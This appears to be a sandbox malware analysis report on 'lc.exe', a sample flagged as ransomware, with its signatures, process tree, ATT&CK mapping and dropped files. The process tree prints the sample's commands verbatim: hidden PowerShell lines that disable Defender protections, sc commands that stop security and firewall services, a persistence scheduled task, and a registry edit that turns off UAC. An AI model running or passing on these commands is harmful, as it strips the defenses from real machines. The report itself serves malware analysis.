Overview

overview

10

Static

static

10

lc.exe

windows10-ltsc_2021-x64

lc.exe

windows11-21h2-x64

10

lc.exe

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    94s
  • max time network
    94s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260911-en
  • resource tags

    arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    07/11/2026, 19:56

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    lc.exe
  • Size 16.2MB
  • Sample261107-ynswjsfw2m
  • SHA256 295cb46b9b437dd8ecc5820204d277ce68bcd453966134f988eeb648960839fc
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwaredefense_evasiondiscoveryevasionexecutionpersistenceransomwarespywaretrojan

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
    persistence
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • UAC bypass 3 TTPs 4 IoCs
    defense_evasiontrojan
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Disables RegEdit via registry modification 2 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Disables cmd.exe use via registry modification 2 IoCs
    defense_evasion
  • Drops file in Drivers directory 7 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 34 IoCs
    persistence
  • Executes dropped EXE 3 IoCs
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    defense_evasiontrojan
  • Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

    defense_evasion
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 3 IoCs
    execution
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 15 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies Control Panel 2 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies registry class 14 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 27 IoCs
  • Suspicious use of AdjustPrivilegeToken 16 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 9 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs
  • System policy modification 1 TTPs 22 IoCs
    defense_evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\lc.exe
    "C:\Users\Admin\AppData\Local\Temp\lc.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious use of WriteProcessMemory
    PID:2832
    • C:\Windows\system32\drivers\etc\svchost32.exe
      "C:\Windows\system32\drivers\etc\svchost32.exe"
      2⤵
      • Modifies WinLogon for persistence
      • Modifies Windows Defender DisableAntiSpyware settings
      • Modifies Windows Defender Real-time Protection settings
      • UAC bypass
      • Disables RegEdit via registry modification
      • Disables cmd.exe use via registry modification
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • Sets desktop wallpaper using registry
      • Reads the TCP/IP host and domain name from the registry
      • Modifies Control Panel
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:1052
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /tn "\Microsoft\Windows\WindowsUpdate\svchost" /f
        3⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:3536
        • C:\Windows\system32\schtasks.exe
          schtasks /delete /tn "\Microsoft\Windows\WindowsUpdate\svchost" /f
          4⤵
            PID:6124
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\svchost" /tr "C:\Windows\system32\drivers\etc\svchost32.exe" /sc onlogon /rl HIGHEST /f
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:544
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\svchost" /tr "C:\Windows\system32\drivers\etc\svchost32.exe" /sc onlogon /rl HIGHEST /f
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3160
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3348
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1500
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2888
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableIOAVProtection $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5300
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisablePrivacyMode $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5324
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -SignatureDisableUpdate $true"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3556
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WinDefend
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3480
          • C:\Windows\system32\sc.exe
            sc stop WinDefend
            4⤵
            • Launches sc.exe
            PID:232
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4252
          • C:\Windows\system32\sc.exe
            sc config WinDefend start=disabled
            4⤵
            • Launches sc.exe
            PID:4448
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop SecurityHealthService
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:6132
          • C:\Windows\system32\sc.exe
            sc stop SecurityHealthService
            4⤵
            • Launches sc.exe
            PID:3632
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config SecurityHealthService start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4392
          • C:\Windows\system32\sc.exe
            sc config SecurityHealthService start=disabled
            4⤵
            • Launches sc.exe
            PID:1900
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdFilter
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2036
          • C:\Windows\system32\sc.exe
            sc stop WdFilter
            4⤵
            • Launches sc.exe
            PID:4572
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdFilter start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1804
          • C:\Windows\system32\sc.exe
            sc config WdFilter start=disabled
            4⤵
            • Launches sc.exe
            PID:1732
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdNisDrv
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1856
          • C:\Windows\system32\sc.exe
            sc stop WdNisDrv
            4⤵
            • Launches sc.exe
            PID:2240
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdNisDrv start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3736
          • C:\Windows\system32\sc.exe
            sc config WdNisDrv start=disabled
            4⤵
            • Launches sc.exe
            PID:784
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdNisSvc
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1480
          • C:\Windows\system32\sc.exe
            sc stop WdNisSvc
            4⤵
            • Launches sc.exe
            PID:1688
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdNisSvc start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5852
          • C:\Windows\system32\sc.exe
            sc config WdNisSvc start=disabled
            4⤵
            • Launches sc.exe
            PID:796
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop WdBoot
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4064
          • C:\Windows\system32\sc.exe
            sc stop WdBoot
            4⤵
            • Launches sc.exe
            PID:5816
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config WdBoot start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:604
          • C:\Windows\system32\sc.exe
            sc config WdBoot start=disabled
            4⤵
            • Launches sc.exe
            PID:4612
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop MpsSvc
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4640
          • C:\Windows\system32\sc.exe
            sc stop MpsSvc
            4⤵
            • Launches sc.exe
            PID:5272
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc config MpsSvc start=disabled
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4528
          • C:\Windows\system32\sc.exe
            sc config MpsSvc start=disabled
            4⤵
            • Launches sc.exe
            PID:804
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill.exe /im Explorer.exe /f
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4472
        • C:\Windows\SYSTEM32\wscript.exe
          wscript.exe "C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs" "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
          3⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:2128
        • C:\Windows\SYSTEM32\wscript.exe
          wscript.exe "C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs" cmd.exe /c attrib +h +s +r "%userprofile%\Desktop\!!!READ_ME!!!.txt" & attrib +h +s +r "%userprofile%\Documents\!!!READ_ME!!!.txt"
          3⤵
          • Executes a VBScript file via the Windows Script Host.
          • Hide Artifacts: Hidden Files and Directories
          PID:784
    • C:\Windows\explorer.exe
      explorer.exe ,"C:\Windows\system32\drivers\etc\svchost32.exe"
      1⤵
        PID:3732
      • C:\Windows\explorer.exe
        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
        1⤵
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        PID:3336
      • C:\Windows\system32\drivers\etc\svchost32.exe
        "C:\Windows\system32\drivers\etc\svchost32.exe"
        1⤵
        • Executes dropped EXE
        PID:4336
      • C:\Windows\system32\drivers\etc\svchost32.exe
        C:\Windows\system32\drivers\etc\svchost32.exe
        1⤵
        • Executes dropped EXE
        PID:5400
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
        1⤵
          PID:5600
        • C:\Windows\system32\wscript.exe
          wscript.exe "C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs" C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\ImportTrace.cmd" "
          1⤵
          • Executes a VBScript file via the Windows Script Host.
          • Modifies registry class
          PID:5244
        • C:\Windows\explorer.exe
          explorer.exe
          1⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Modifies registry class
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:5576
        • C:\Windows\system32\AUDIODG.EXE
          C:\Windows\system32\AUDIODG.EXE 0x000000000000049C 0x00000000000004C4
          1⤵
            PID:616

          Network

                MITRE ATT&CK Enterprise v16

                Reconnaissance

                Resource Development

                Initial Access

                Execution

                Command and Scripting Interpreter

                3
                T1059

                PowerShell

                1
                T1059.001

                Visual Basic

                1
                T1059.005

                Windows Command Shell

                1
                T1059.003

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                System Services

                1
                T1569

                Service Execution

                1
                T1569.002

                Persistence

                Boot or Logon Autostart Execution

                3
                T1547

                Active Setup

                1
                T1547.014

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Winlogon Helper DLL

                1
                T1547.004

                Create or Modify System Process

                3
                T1543

                Windows Service

                3
                T1543.003

                Event Triggered Execution

                1
                T1546

                Image File Execution Options Injection

                1
                T1546.012

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Privilege Escalation

                Abuse Elevation Control Mechanism

                1
                T1548

                Bypass User Account Control

                1
                T1548.002

                Boot or Logon Autostart Execution

                3
                T1547

                Active Setup

                1
                T1547.014

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Winlogon Helper DLL

                1
                T1547.004

                Create or Modify System Process

                3
                T1543

                Windows Service

                3
                T1543.003

                Event Triggered Execution

                1
                T1546

                Image File Execution Options Injection

                1
                T1546.012

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Defense Evasion

                Abuse Elevation Control Mechanism

                1
                T1548

                Bypass User Account Control

                1
                T1548.002

                Hide Artifacts

                1
                T1564

                Hidden Files and Directories

                1
                T1564.001

                Impair Defenses

                4
                T1562

                Disable or Modify Tools

                3
                T1562.001

                Indicator Removal

                1
                T1070

                Clear Persistence

                1
                T1070.009

                Modify Registry

                9
                T1112

                Credential Access

                Discovery

                Query Registry

                1
                T1012

                System Information Discovery

                2
                T1082

                System Network Configuration Discovery

                1
                T1016

                Lateral Movement

                Collection

                Command and Control

                Exfiltration

                Impact

                Defacement

                1
                T1491

                Service Stop

                1
                T1489

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                powershell.exe.log
                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                svchost32.exe.log
                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost32.exe.log
                • Size 1KB
                • SHA256 58b9918225aee046894cb3c6263687bfe4b5a5b8dff7196d72687d0f3f735034
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 106842d701d870d9c26603db1485d0545d9e1637d907dba4cbfc5a3f53b1ea71
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 d34536394a1252549c73111ba8d62aeb1f8089d59475ba04e9e1ed4c77624d86
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 93fd3c992521cef182e6847f4f6658c58cfd5bdde16d4732d1c055b3c9e34398
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 08f10e2e703ff73c2e787516078f33d525747268642324e9d9525932ceec4db4
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 aefd790a94e350ed18bd3513a459424d8b2ed26591a0cc3697d2b24a03510bec
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                __PSScriptPolicyTest_3bvtfizj.kb0.ps1
                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3bvtfizj.kb0.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                catcrypt_block.png
                • Path C:\Users\Admin\AppData\Local\Temp\catcrypt_block.png
                • Size 52KB
                • SHA256 d50f96790201d3293f1627f56e04069b2834e5d543b3bf9f90a49df530574a46
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                catcrypt_last_show.txt
                • Path C:\Users\Admin\AppData\Local\Temp\catcrypt_last_show.txt
                • Size 22B
                • SHA256 71026dc9c38d1110e57c647aa9f25350b9a429ad961705cad4e000686f7d953a
                • MD5 SHA1 SHA512
                Submit Download

                catcrypt_show.vbs
                • Path C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs
                • Size 940B
                • SHA256 d90ae5c72d612cf50824af73481a2f02330a44ae1e949ad7630040ad2317d0bd
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                TranscodedWallpaper
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper
                • Size 59KB
                • SHA256 11bd0b134d11251cf307b73c74882cadc0d8192deccb227470bf5f9603e1ae2f
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                ReadCopy.docx.pdr.tmp
                • Path C:\Users\Admin\Downloads\ReadCopy.docx.pdr.tmp
                • Size 487KB
                • SHA256 577cd463e6dce38c79738671e8c51aecc492720529d9be30fdb3f800947c0dab
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                RedoMount.zip.pdr
                • Path C:\Users\Admin\Downloads\RedoMount.zip.pdr
                • Size 799KB
                • SHA256 15a210554b103272ef989c107ee51fb5b5f31a7c10eb51328a398106c6862c1f
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                ResizeMount.jpg.pdr.tmp
                • Path C:\Users\Admin\Downloads\ResizeMount.jpg.pdr.tmp
                • Size 389KB
                • SHA256 4180f0898bddeb5d58ae8843195811362de059be3a8cf2246c3bef68feeac2a8
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                svchost32.exe
                • Path C:\Windows\System32\drivers\etc\svchost32.exe
                • Size 16.2MB
                • SHA256 295cb46b9b437dd8ecc5820204d277ce68bcd453966134f988eeb648960839fc
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                $boot_marker.tmp
                • Path C:\Windows\system32\drivers\etc\$boot_marker.tmp
                • Size 9B
                • SHA256 9381b7267aba1a0041a647012ba1c0e7e647ca40ac3f38033d081674d1170d59
                • MD5 SHA1 SHA512
                Submit Download

                $unlocker_id.ux-cryptobytes
                • Path C:\Windows\system32\drivers\etc\$unlocker_id.ux-cryptobytes
                • Size 6B
                • SHA256 e1b2497d60a50be07eec84d98352e74712f472f12f125a38c93b40e67fef13d9
                • MD5 SHA1 SHA512
                Submit Download

                memory/1052-122-0x0000000002570000-0x0000000002580000-memory.dmp
                Download

                memory/1052-19-0x0000000002570000-0x0000000002580000-memory.dmp
                Download

                memory/2832-0-0x0000000000B30000-0x0000000001B60000-memory.dmp
                Download

                memory/2832-1-0x00000000023D0000-0x00000000023E0000-memory.dmp
                Download

                memory/3348-37-0x000002459C870000-0x000002459C923000-memory.dmp
                Download

                memory/3348-48-0x000002459CBE0000-0x000002459CBEA000-memory.dmp
                Download

                memory/3348-47-0x000002459CB90000-0x000002459CB96000-memory.dmp
                Download

                memory/3348-46-0x000002459CB80000-0x000002459CB88000-memory.dmp
                Download

                memory/3348-45-0x000002459CBC0000-0x000002459CBDA000-memory.dmp
                Download

                memory/3348-44-0x000002459C840000-0x000002459C84A000-memory.dmp
                Download

                memory/3348-40-0x000002459CBA0000-0x000002459CBBC000-memory.dmp
                Download

                memory/3348-38-0x000002459C830000-0x000002459C83A000-memory.dmp
                Download

                memory/3348-36-0x000002459C850000-0x000002459C86C000-memory.dmp
                Download

                memory/3348-29-0x000002459C5A0000-0x000002459C5C2000-memory.dmp
                Download